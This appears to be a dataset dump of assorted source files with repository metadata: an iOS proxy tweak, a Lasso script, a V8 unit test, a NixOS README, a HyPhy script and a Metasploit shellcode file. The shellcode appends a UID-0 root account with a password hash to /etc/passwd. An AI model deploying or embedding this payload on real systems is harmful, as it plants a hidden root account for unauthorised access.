return [valObj boolValue];
}
static void updateSettings(void)
{
proxyEnabled = YES;
spdyDisabled = YES;
finderEnabled = YES;
NSDictionary *dict = [[NSDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.linusyang.ssperapp.plist"];
if (dict != nil) {
NSString *bundleName = [[NSBundle mainBundle] bundleIdentifier];
if (getValue(dict, @"SSPerAppEnabled", NO) && bundleName != nil) {
NSString *entry = [[NSString alloc] initWithFormat:@"Enabled-%@", bundleName];
proxyEnabled = getValue(dict, entry, NO);
if (getValue(dict, @"SSPerAppReversed", NO)) {
proxyEnabled = !proxyEnabled;
}
[entry release];
}
spdyDisabled = getValue(dict, @"SSPerAppDisableSPDY", YES);
finderEnabled = getValue(dict, @"SSPerAppFinder", YES);
[dict release];
}
}
DECL_FUNC(CFDictionaryRef, SCDynamicStoreRef store)
{
if (proxyEnabled) {
return ORIG_FUNC(store);
}
CFMutableDictionaryRef proxyDict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
int zero = 0;
CFNumberRef zeroNumber = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &zero);
CFDictionarySetValue(proxyDict, CFSTR("HTTPEnable"), zeroNumber);
CFDictionarySetValue(proxyDict, CFSTR("HTTPProxyType"), zeroNumber);
CFDictionarySetValue(proxyDict, CFSTR("HTTPSEnable"), zeroNumber);
CFDictionarySetValue(proxyDict, CFSTR("ProxyAutoConfigEnable"), zeroNumber);
CFRelease(zeroNumber);
return proxyDict;
}
@interface SettingTableViewController <LFFinderActionDelegate>
- (BOOL)useLibFinder;
- (UIViewController *)allocFinderController;
- (void)finderSelectedFilePath:(NSString *)path checkSanity:(BOOL)check;
@end
%group FinderHook
%hook SettingTableViewController
- (BOOL)useLibFinder
{
return finderEnabled;
}
- (UIViewController *)allocFinderController
{
LFFinderController* finder = [[LFFinderController alloc] initWithMode:LFFinderModeDefault];
finder.actionDelegate = self;
return finder;
}
%new
-(void)finder:(LFFinderController*)finder didSelectItemAtPath:(NSString*)path
{
[self finderSelectedFilePath:path checkSanity:NO];
}
%end
%end
%group TwitterHook
%hook T1SPDYConfigurationChangeListener
- (BOOL)_shouldEnableSPDY
{
if (spdyDisabled) {
return NO;
} else {
return %orig;
}
}
%end
%end
%group FacebookHook
%hook FBRequester
- (BOOL)allowSPDY
{
if (spdyDisabled) {
return NO;
} else {
return %orig;
}
}
- (BOOL)useDNSCache
{
if (spdyDisabled) {
return NO;
} else {
return %orig;
}
}
%end
%hook FBNetworkerRequest
- (BOOL)disableSPDY
{
if (spdyDisabled) {
return YES;
} else {
return %orig;
}
}
%end
%hook FBRequesterState
- (BOOL)didUseSPDY
{
if (spdyDisabled) {
return NO;
} else {
return %orig;
}
}
%end
%hook FBAppConfigService
- (BOOL)disableDNSCache
{
if (spdyDisabled) {
return YES;
} else {
return %orig;
}
}
%end
%hook FBNetworker
- (BOOL)_shouldAllowUseOfDNSCache:(id)arg
{
if (spdyDisabled) {
return NO;
} else {
return %orig;
}
}
%end
%hook FBAppSessionController
- (BOOL)networkerShouldAllowUseOfDNSCache:(id)arg
{
if (spdyDisabled) {
return NO;
} else {
return %orig;
}
}
%end
%end
%ctor
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSString *bundleName = [[NSBundle mainBundle] bundleIdentifier];
if (bundleName != nil && ![bundleName isEqualToString:@"com.apple.springboard"]) {
updateSettings();
CFNotificationCenterAddObserver(CFNotificationCenterGetDarwinNotifyCenter(), NULL, (CFNotificationCallback) updateSettings, CFSTR("com.linusyang.ssperapp.settingschanged"), NULL, CFNotificationSuspensionBehaviorCoalesce);
if ([bundleName isEqualToString:@"com.linusyang.MobileShadowSocks"]) {
%init(FinderHook);
} else {
HOOK_FUNC();
if ([bundleName isEqualToString:@"com.atebits.Tweetie2"]) {
%init(TwitterHook);
} else if ([bundleName isEqualToString:@"com.facebook.Facebook"]) {
%init(FacebookHook);
}
}
}
[pool drain];
}
| Logos | 4 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Logos/Tweak.x | [
"MIT"
] |
<?Lassoscript
// Last modified 3/13/10 by Eric Landmann
// FUNCTIONALITY
// This file creates webthumbs from a web page using the EasyThumb service.
// USAGE
// Debugging off
// /admin/create_webthumb.lasso?Template=1kbGrid7e_PF1_Col2.html
// Debugging on
// /admin/create_webthumb.lasso?Template=1kbGrid7e_PF1_Col2.html&Debug=Y
Include('/siteconfig.lasso');
// Debugging
// Var('svDebug' = 'Y');
// TEMPORARILY INCLUDE EasyThumb CT UNTIL IT IS FULLY DEBUGGED
// Include('/admin/it_easythumb.inc');
// Convert action_params
Var('ConvertThisFile' = Action_Param('Template'));
Var('EasyThumbDebug' = Action_Param('Debug'));
Var('vDatatype' = 'Templates');
// Prepare filepaths
Var('ConvertThisURL' = ('http://'+($svDomain)+'/admin/preview_template.lasso?Template='+($ConvertThisFile)));
// Used for the preview (converted) filename. Append ".jpg" onto the filename.
Var('PreviewFileName' = (($svTmpltsPreviewPath)+($ConvertThisFile)+'.jpg'));
Debug;
'15: $ConvertThisURL = ' $ConvertThisURL '<br>\n';
'15: $PreviewFileName = ' $PreviewFileName '<br>\n';
/Debug;
// Go get the thumbs from EasyThumb
it_easythumb(
-url=$ConvertThisURL,
-userid=$svEasyThumbUserID,
-apikey=$svEasyThumbAPIKey,
-file=$PreviewFileName,
-size='medium2',
-debug=$EasyThumbDebug);
Var('PreviewFileExists' = (File_Exists($PreviewFileName)));
Debug;
('45: $PreviewFileName = ' $PreviewFileName '<br>\n');
('45: $PreviewFileExists = ' $PreviewFileExists '<br>\n');
('45: Error_CurrentError = ' (Error_CurrentError) '<br>\n');
('45: File_CurrentError = ' (File_CurrentError) '<br>\n');
('45: vError = ' (Var('vError')) '<br>\n');
('45: vOption = ' (Var('vOption')) '<br>\n');
/Debug;
// Finally redirect back to Templates page
LI_URLRedirect: -Page='library.lasso',-ExParams=('DataType='($vDataType)),-UseError='Y',-Error=$vError,-Option=$vOption,-UseArgs='N';
?>
| Lasso | 4 | fourplusone/SubEthaEdit | Documentation/ModeDevelopment/Reference Files/LassoScript-HTML/itpage/admin/create_webthumb.lasso | [
"MIT"
] |
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <cmath>
#include <iostream>
#include <limits>
#include <memory>
#include "src/ast/ast-value-factory.h"
#include "src/ast/ast.h"
#include "src/ast/scopes.h"
#include "src/common/assert-scope.h"
#include "src/common/globals.h"
#include "src/handles/handles-inl.h"
#include "src/handles/handles.h"
#include "src/handles/maybe-handles.h"
#include "src/heap/local-factory-inl.h"
#include "src/objects/fixed-array.h"
#include "src/objects/script.h"
#include "src/objects/shared-function-info.h"
#include "src/objects/string.h"
#include "src/parsing/parse-info.h"
#include "src/parsing/parser.h"
#include "src/parsing/rewriter.h"
#include "src/parsing/scanner-character-streams.h"
#include "src/parsing/scanner.h"
#include "src/strings/unicode-inl.h"
#include "src/utils/utils.h"
#include "test/unittests/test-utils.h"
namespace v8 {
namespace internal {
class LocalIsolate;
namespace {
std::vector<uint16_t> DecodeUtf8(const std::string& string) {
if (string.empty()) return {};
auto utf8_data = base::Vector<const uint8_t>::cast(
base::VectorOf(string.data(), string.length()));
Utf8Decoder decoder(utf8_data);
std::vector<uint16_t> utf16(decoder.utf16_length());
decoder.Decode(&utf16[0], utf8_data);
return utf16;
}
} // namespace
class LocalFactoryTest : public TestWithIsolateAndZone {
public:
LocalFactoryTest()
: TestWithIsolateAndZone(),
state_(isolate()),
parse_info_(
isolate(),
UnoptimizedCompileFlags::ForToplevelCompile(
isolate(), true, construct_language_mode(FLAG_use_strict),
REPLMode::kNo, ScriptType::kClassic, FLAG_lazy),
&state_),
local_isolate_(isolate()->main_thread_local_isolate()) {}
FunctionLiteral* ParseProgram(const char* source) {
auto utf16_source = DecodeUtf8(source);
// Normally this would be an external string or whatever, we don't have to
// worry about it for now.
source_string_ = factory()
->NewStringFromUtf8(base::CStrVector(source))
.ToHandleChecked();
parse_info_.set_character_stream(
ScannerStream::ForTesting(utf16_source.data(), utf16_source.size()));
{
DisallowGarbageCollection no_gc;
DisallowHeapAccess no_heap_access;
Parser parser(parse_info());
parser.InitializeEmptyScopeChain(parse_info());
parser.ParseOnBackground(parse_info(), 0, 0, kFunctionLiteralIdTopLevel);
}
parse_info()->ast_value_factory()->Internalize(local_isolate());
DeclarationScope::AllocateScopeInfos(parse_info(), local_isolate());
script_ = parse_info_.CreateScript(local_isolate(),
local_factory()->empty_string(),
kNullMaybeHandle, ScriptOriginOptions());
// Create the SFI list on the script so that SFI SetScript works.
Handle<WeakFixedArray> infos = local_factory()->NewWeakFixedArray(
parse_info()->max_function_literal_id() + 1, AllocationType::kOld);
script_->set_shared_function_infos(*infos);
return parse_info()->literal();
}
ParseInfo* parse_info() { return &parse_info_; }
Handle<Script> script() { return script_; }
LocalIsolate* local_isolate() { return local_isolate_; }
LocalFactory* local_factory() { return local_isolate()->factory(); }
private:
SaveFlags save_flags_;
UnoptimizedCompileState state_;
ParseInfo parse_info_;
LocalIsolate* local_isolate_;
Handle<String> source_string_;
Handle<Script> script_;
};
TEST_F(LocalFactoryTest, OneByteInternalizedString_IsAddedToStringTable) {
base::Vector<const uint8_t> string_vector = base::StaticOneByteVector("foo");
Handle<String> string;
{
LocalHandleScope handle_scope(local_isolate());
Handle<String> local_string =
local_factory()->InternalizeString(string_vector);
string = local_isolate()->heap()->NewPersistentHandle(local_string);
}
EXPECT_TRUE(string->IsOneByteEqualTo(base::CStrVector("foo")));
EXPECT_TRUE(string->IsInternalizedString());
Handle<String> same_string = isolate()
->factory()
->NewStringFromOneByte(string_vector)
.ToHandleChecked();
EXPECT_NE(*string, *same_string);
EXPECT_FALSE(same_string->IsInternalizedString());
Handle<String> internalized_string =
isolate()->factory()->InternalizeString(same_string);
EXPECT_EQ(*string, *internalized_string);
}
TEST_F(LocalFactoryTest, OneByteInternalizedString_DuplicateIsDeduplicated) {
base::Vector<const uint8_t> string_vector = base::StaticOneByteVector("foo");
Handle<String> string_1;
Handle<String> string_2;
{
LocalHandleScope handle_scope(local_isolate());
Handle<String> local_string_1 =
local_factory()->InternalizeString(string_vector);
Handle<String> local_string_2 =
local_factory()->InternalizeString(string_vector);
string_1 = local_isolate()->heap()->NewPersistentHandle(local_string_1);
string_2 = local_isolate()->heap()->NewPersistentHandle(local_string_2);
}
EXPECT_TRUE(string_1->IsOneByteEqualTo(base::CStrVector("foo")));
EXPECT_TRUE(string_1->IsInternalizedString());
EXPECT_EQ(*string_1, *string_2);
}
TEST_F(LocalFactoryTest, AstRawString_IsInternalized) {
AstValueFactory ast_value_factory(zone(), isolate()->ast_string_constants(),
HashSeed(isolate()));
const AstRawString* raw_string = ast_value_factory.GetOneByteString("foo");
Handle<String> string;
{
LocalHandleScope handle_scope(local_isolate());
ast_value_factory.Internalize(local_isolate());
string = local_isolate()->heap()->NewPersistentHandle(raw_string->string());
}
EXPECT_TRUE(string->IsOneByteEqualTo(base::CStrVector("foo")));
EXPECT_TRUE(string->IsInternalizedString());
}
TEST_F(LocalFactoryTest, AstConsString_CreatesConsString) {
AstValueFactory ast_value_factory(zone(), isolate()->ast_string_constants(),
HashSeed(isolate()));
Handle<String> string;
{
LocalHandleScope handle_scope(local_isolate());
const AstRawString* foo_string = ast_value_factory.GetOneByteString("foo");
const AstRawString* bar_string =
ast_value_factory.GetOneByteString("bar-plus-padding-for-length");
AstConsString* foobar_string =
ast_value_factory.NewConsString(foo_string, bar_string);
ast_value_factory.Internalize(local_isolate());
string = local_isolate()->heap()->NewPersistentHandle(
foobar_string->GetString(local_isolate()));
}
EXPECT_TRUE(string->IsConsString());
EXPECT_TRUE(string->Equals(*isolate()->factory()->NewStringFromStaticChars(
"foobar-plus-padding-for-length")));
}
TEST_F(LocalFactoryTest, EmptyScript) {
FunctionLiteral* program = ParseProgram("");
Handle<SharedFunctionInfo> shared;
{
LocalHandleScope handle_scope(local_isolate());
shared = local_isolate()->heap()->NewPersistentHandle(
local_factory()->NewSharedFunctionInfoForLiteral(program, script(),
true));
}
Handle<SharedFunctionInfo> root_sfi = shared;
EXPECT_EQ(root_sfi->function_literal_id(), 0);
}
TEST_F(LocalFactoryTest, LazyFunction) {
FunctionLiteral* program = ParseProgram("function lazy() {}");
FunctionLiteral* lazy = program->scope()
->declarations()
->AtForTest(0)
->AsFunctionDeclaration()
->fun();
Handle<SharedFunctionInfo> shared;
{
LocalHandleScope handle_scope(local_isolate());
shared = local_isolate()->heap()->NewPersistentHandle(
local_factory()->NewSharedFunctionInfoForLiteral(lazy, script(), true));
}
Handle<SharedFunctionInfo> lazy_sfi = shared;
EXPECT_EQ(lazy_sfi->function_literal_id(), 1);
EXPECT_TRUE(lazy_sfi->Name().IsOneByteEqualTo(base::CStrVector("lazy")));
EXPECT_FALSE(lazy_sfi->is_compiled());
EXPECT_TRUE(lazy_sfi->HasUncompiledDataWithoutPreparseData());
}
TEST_F(LocalFactoryTest, EagerFunction) {
FunctionLiteral* program = ParseProgram("(function eager() {})");
// Rewritten to `.result = (function eager() {}); return .result`
FunctionLiteral* eager = program->body()
->at(0)
->AsExpressionStatement()
->expression()
->AsAssignment()
->value()
->AsFunctionLiteral();
Handle<SharedFunctionInfo> shared;
{
LocalHandleScope handle_scope(local_isolate());
shared = local_isolate()->heap()->NewPersistentHandle(
local_factory()->NewSharedFunctionInfoForLiteral(eager, script(),
true));
}
Handle<SharedFunctionInfo> eager_sfi = shared;
EXPECT_EQ(eager_sfi->function_literal_id(), 1);
EXPECT_TRUE(eager_sfi->Name().IsOneByteEqualTo(base::CStrVector("eager")));
EXPECT_FALSE(eager_sfi->HasUncompiledData());
// TODO(leszeks): Add compilation support and enable these checks.
// EXPECT_TRUE(eager_sfi->is_compiled());
// EXPECT_TRUE(eager_sfi->HasBytecodeArray());
}
TEST_F(LocalFactoryTest, ImplicitNameFunction) {
FunctionLiteral* program = ParseProgram("let implicit_name = function() {}");
FunctionLiteral* implicit_name = program->body()
->at(0)
->AsBlock()
->statements()
->at(0)
->AsExpressionStatement()
->expression()
->AsAssignment()
->value()
->AsFunctionLiteral();
Handle<SharedFunctionInfo> shared;
{
LocalHandleScope handle_scope(local_isolate());
shared = local_isolate()->heap()->NewPersistentHandle(
local_factory()->NewSharedFunctionInfoForLiteral(implicit_name,
script(), true));
}
Handle<SharedFunctionInfo> implicit_name_sfi = shared;
EXPECT_EQ(implicit_name_sfi->function_literal_id(), 1);
EXPECT_TRUE(implicit_name_sfi->Name().IsOneByteEqualTo(
base::CStrVector("implicit_name")));
}
TEST_F(LocalFactoryTest, GCDuringPublish) {
FunctionLiteral* program = ParseProgram("let implicit_name = function() {}");
FunctionLiteral* implicit_name = program->body()
->at(0)
->AsBlock()
->statements()
->at(0)
->AsExpressionStatement()
->expression()
->AsAssignment()
->value()
->AsFunctionLiteral();
Handle<SharedFunctionInfo> shared;
{
LocalHandleScope handle_scope(local_isolate());
shared = local_isolate()->heap()->NewPersistentHandle(
local_factory()->NewSharedFunctionInfoForLiteral(implicit_name,
script(), true));
}
Handle<SharedFunctionInfo> implicit_name_sfi = shared;
EXPECT_EQ(implicit_name_sfi->function_literal_id(), 1);
EXPECT_TRUE(implicit_name_sfi->Name().IsOneByteEqualTo(
base::CStrVector("implicit_name")));
}
} // namespace internal
} // namespace v8
| C++ | 4 | EXHades/v8 | test/unittests/heap/local-factory-unittest.cc | [
"BSD-3-Clause"
] |
= Apple MacBook Pro 10,1 =
I presume the associated configuration also will work with to other 10,x models.
If you don't have an Ethernet adapter, make sure your NixOS installer has a sufficiently modern kernel or you will be stuck without internet and unable to installer.
Note that (with NixPkgs circa late October 2016) Linux 4.8.1 does not work: everything will boot through X, but then manually-run commands accessing peripherals (nmcli, lspci, etc) will hang inexplicably.
Thankfully no tweaking of the BIOS or similar was needed. Do note that if your MacOS partition is encrypted, you will have an easier time shrinking it from within MacOS, but this is standard advice.
| MediaWiki | 2 | pmeiyu/nixos-hardware | apple/macbook-pro/10-1/README.wiki | [
"CC0-1.0"
] |
;;
;
; Name: single_adduser
; Authors: vlad902 <vlad902 [at] gmail.com>
; Authors: spoonm <ninjatools [at] hush.com>
; Authors: skape <mmiller [at] hick.org>
; Version: $Revision: 1513 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Add a line to /etc/passwd.
;
; Meta-Information:
;
; meta-shortname=Linux adduser
; meta-description=Create an entry in /etc/passwd with UID=0
; meta-authors=vlad902 <vlad902 [at] gmail.com>, spoonm <ninjatools [at] hush.com>, skape <mmiller [at] hick.org>
; meta-os=linux
; meta-arch=ia32
; meta-category=single
; meta-name=adduser
; meta-basemod=Msf::PayloadComponent::NoConnection
; Offset for inserting the string:
; meta-custom1=0x27
; Offset after string:
; meta-custom2=0x4b
;;
BITS 32
global _start
%include "generic.asm"
_start:
setreuid 0
push byte 0x05
pop eax
xor ecx, ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ebx, esp
inc ecx
mov ch, 0x04
int 0x80
xchg eax, ebx
call getstr
db "ABC:AAnV3m35vbc/g:0:0::/:/bin/sh"
getstr:
pop ecx
mov edx, [ecx-4]
push byte 0x04
pop eax
int 0x80
push byte 0x01
pop eax
int 0x80
| Assembly | 2 | OsmanDere/metasploit-framework | external/source/shellcode/linux/ia32/single_adduser.asm | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
INTEGRATION_PRECISION_FACTOR = 5.0e-6;
END_OF_FILE = 0;
LIKELIHOOD_FUNCTION_OUTPUT = 5;
ACCEPT_BRANCH_LENGTHS = 1;
#include "/home/oashenbe/.local/lib/python2.7/site-packages/phyloExpCM/data//NTsCodonsAAs.ibf";
fprintf(stdout, "Running HYPHY script hyphy_cmds.bf...\n");
DataSet data = ReadDataFile("_codenames_Aligned_NPs_Swine.fasta");
assert(data.sites % 3 == 0, "Sequence lengths not multiples of 3");
totalcodons = data.sites $ 3;
fprintf(stdout, "Read from _codenames_Aligned_NPs_Swine.fasta a set of ", data.species, " sequences consisting of ", data.sites, " nucleotides corresponding to ", totalcodons, " codons each.\n");
fprintf(stdout, "The analysis will include the following 498 codon positions (sequential numbering starting with 1):\n1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498\n");
assert(totalcodons >= 498, "Largest included site exceeds sequence length");
DataSetFilter codonfilter = CreateFilter(data, 3, "0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000,1001,1002,1003,1004,1005,1006,1007,1008,1009,1010,1011,1012,1013,1014,1015,1016,1017,1018,1019,1020,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1101,1102,1103,1104,1105,1106,1107,1108,1109,1110,1111,1112,1113,1114,1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126,1127,1128,1129,1130,1131,1132,1133,1134,1135,1136,1137,1138,1139,1140,1141,1142,1143,1144,1145,1146,1147,1148,1149,1150,1151,1152,1153,1154,1155,1156,1157,1158,1159,1160,1161,1162,1163,1164,1165,1166,1167,1168,1169,1170,1171,1172,1173,1174,1175,1176,1177,1178,1179,1180,1181,1182,1183,1184,1185,1186,1187,1188,1189,1190,1191,1192,1193,1194,1195,1196,1197,1198,1199,1200,1201,1202,1203,1204,1205,1206,1207,1208,1209,1210,1211,1212,1213,1214,1215,1216,1217,1218,1219,1220,1221,1222,1223,1224,1225,1226,1227,1228,1229,1230,1231,1232,1233,1234,1235,1236,1237,1238,1239,1240,1241,1242,1243,1244,1245,1246,1247,1248,1249,1250,1251,1252,1253,1254,1255,1256,1257,1258,1259,1260,1261,1262,1263,1264,1265,1266,1267,1268,1269,1270,1271,1272,1273,1274,1275,1276,1277,1278,1279,1280,1281,1282,1283,1284,1285,1286,1287,1288,1289,1290,1291,1292,1293,1294,1295,1296,1297,1298,1299,1300,1301,1302,1303,1304,1305,1306,1307,1308,1309,1310,1311,1312,1313,1314,1315,1316,1317,1318,1319,1320,1321,1322,1323,1324,1325,1326,1327,1328,1329,1330,1331,1332,1333,1334,1335,1336,1337,1338,1339,1340,1341,1342,1343,1344,1345,1346,1347,1348,1349,1350,1351,1352,1353,1354,1355,1356,1357,1358,1359,1360,1361,1362,1363,1364,1365,1366,1367,1368,1369,1370,1371,1372,1373,1374,1375,1376,1377,1378,1379,1380,1381,1382,1383,1384,1385,1386,1387,1388,1389,1390,1391,1392,1393,1394,1395,1396,1397,1398,1399,1400,1401,1402,1403,1404,1405,1406,1407,1408,1409,1410,1411,1412,1413,1414,1415,1416,1417,1418,1419,1420,1421,1422,1423,1424,1425,1426,1427,1428,1429,1430,1431,1432,1433,1434,1435,1436,1437,1438,1439,1440,1441,1442,1443,1444,1445,1446,1447,1448,1449,1450,1451,1452,1453,1454,1455,1456,1457,1458,1459,1460,1461,1462,1463,1464,1465,1466,1467,1468,1469,1470,1471,1472,1473,1474,1475,1476,1477,1478,1479,1480,1481,1482,1483,1484,1485,1486,1487,1488,1489,1490,1491,1492,1493", "", "TAA,TAG,TGA");
assert(data.species == codonfilter.species, "species number mismatch");
assert(codonfilter.sites == 498, "Codon filtered data does not contain the right number of sites");
fprintf(stdout, "Created a codon filter of ", codonfilter.sites, " sites.\n");
assert(totalcodons - (totalcodons - 498) - 0 == codonfilter.sites, "Codon filtered data is not the expected length. Do sequences contain stop codons?");
CheckCodonFilter("codonfilter");
fprintf(stdout, "Reading tree string from _codenames_codonphyml_Swine_tree.newick.\n");
fscanf("_codenames_codonphyml_Swine_tree.newick", String, treestring);
fprintf(stdout, "Using the Goldman Yang 1994 (GY94) codon model...\n");
#include "/home/oashenbe/.local/lib/python2.7/site-packages/phyloExpCM/data//CF3x4.ibf";
#include "/home/oashenbe/.local/lib/python2.7/site-packages/phyloExpCM/data//GY94.ibf";
CreateGY94Model("CF3x4", "global", "global", 4, 4, 1);
UseModel(model);
ExecuteCommands("Tree tree = treestring;")
assert(codonfilter.species == TipCount(tree), "Number of species and number of tips differ");
LikelihoodFunction likelihood = (codonfilter, tree);
fprintf(stdout, "\nNow optimizing the likelihood function...\n");
Optimize(mlestimates, likelihood)
fprintf(stdout, "Completed likelihood optimization. Optimized ", mlestimates[1][1], " indpendent parameters and ", mlestimates[1][2], " shared parameters to obtain a log likelihood of ", mlestimates[1][0], ".\n");
fprintf(stdout, "Writing the results to hyphy_output.txt.\n");
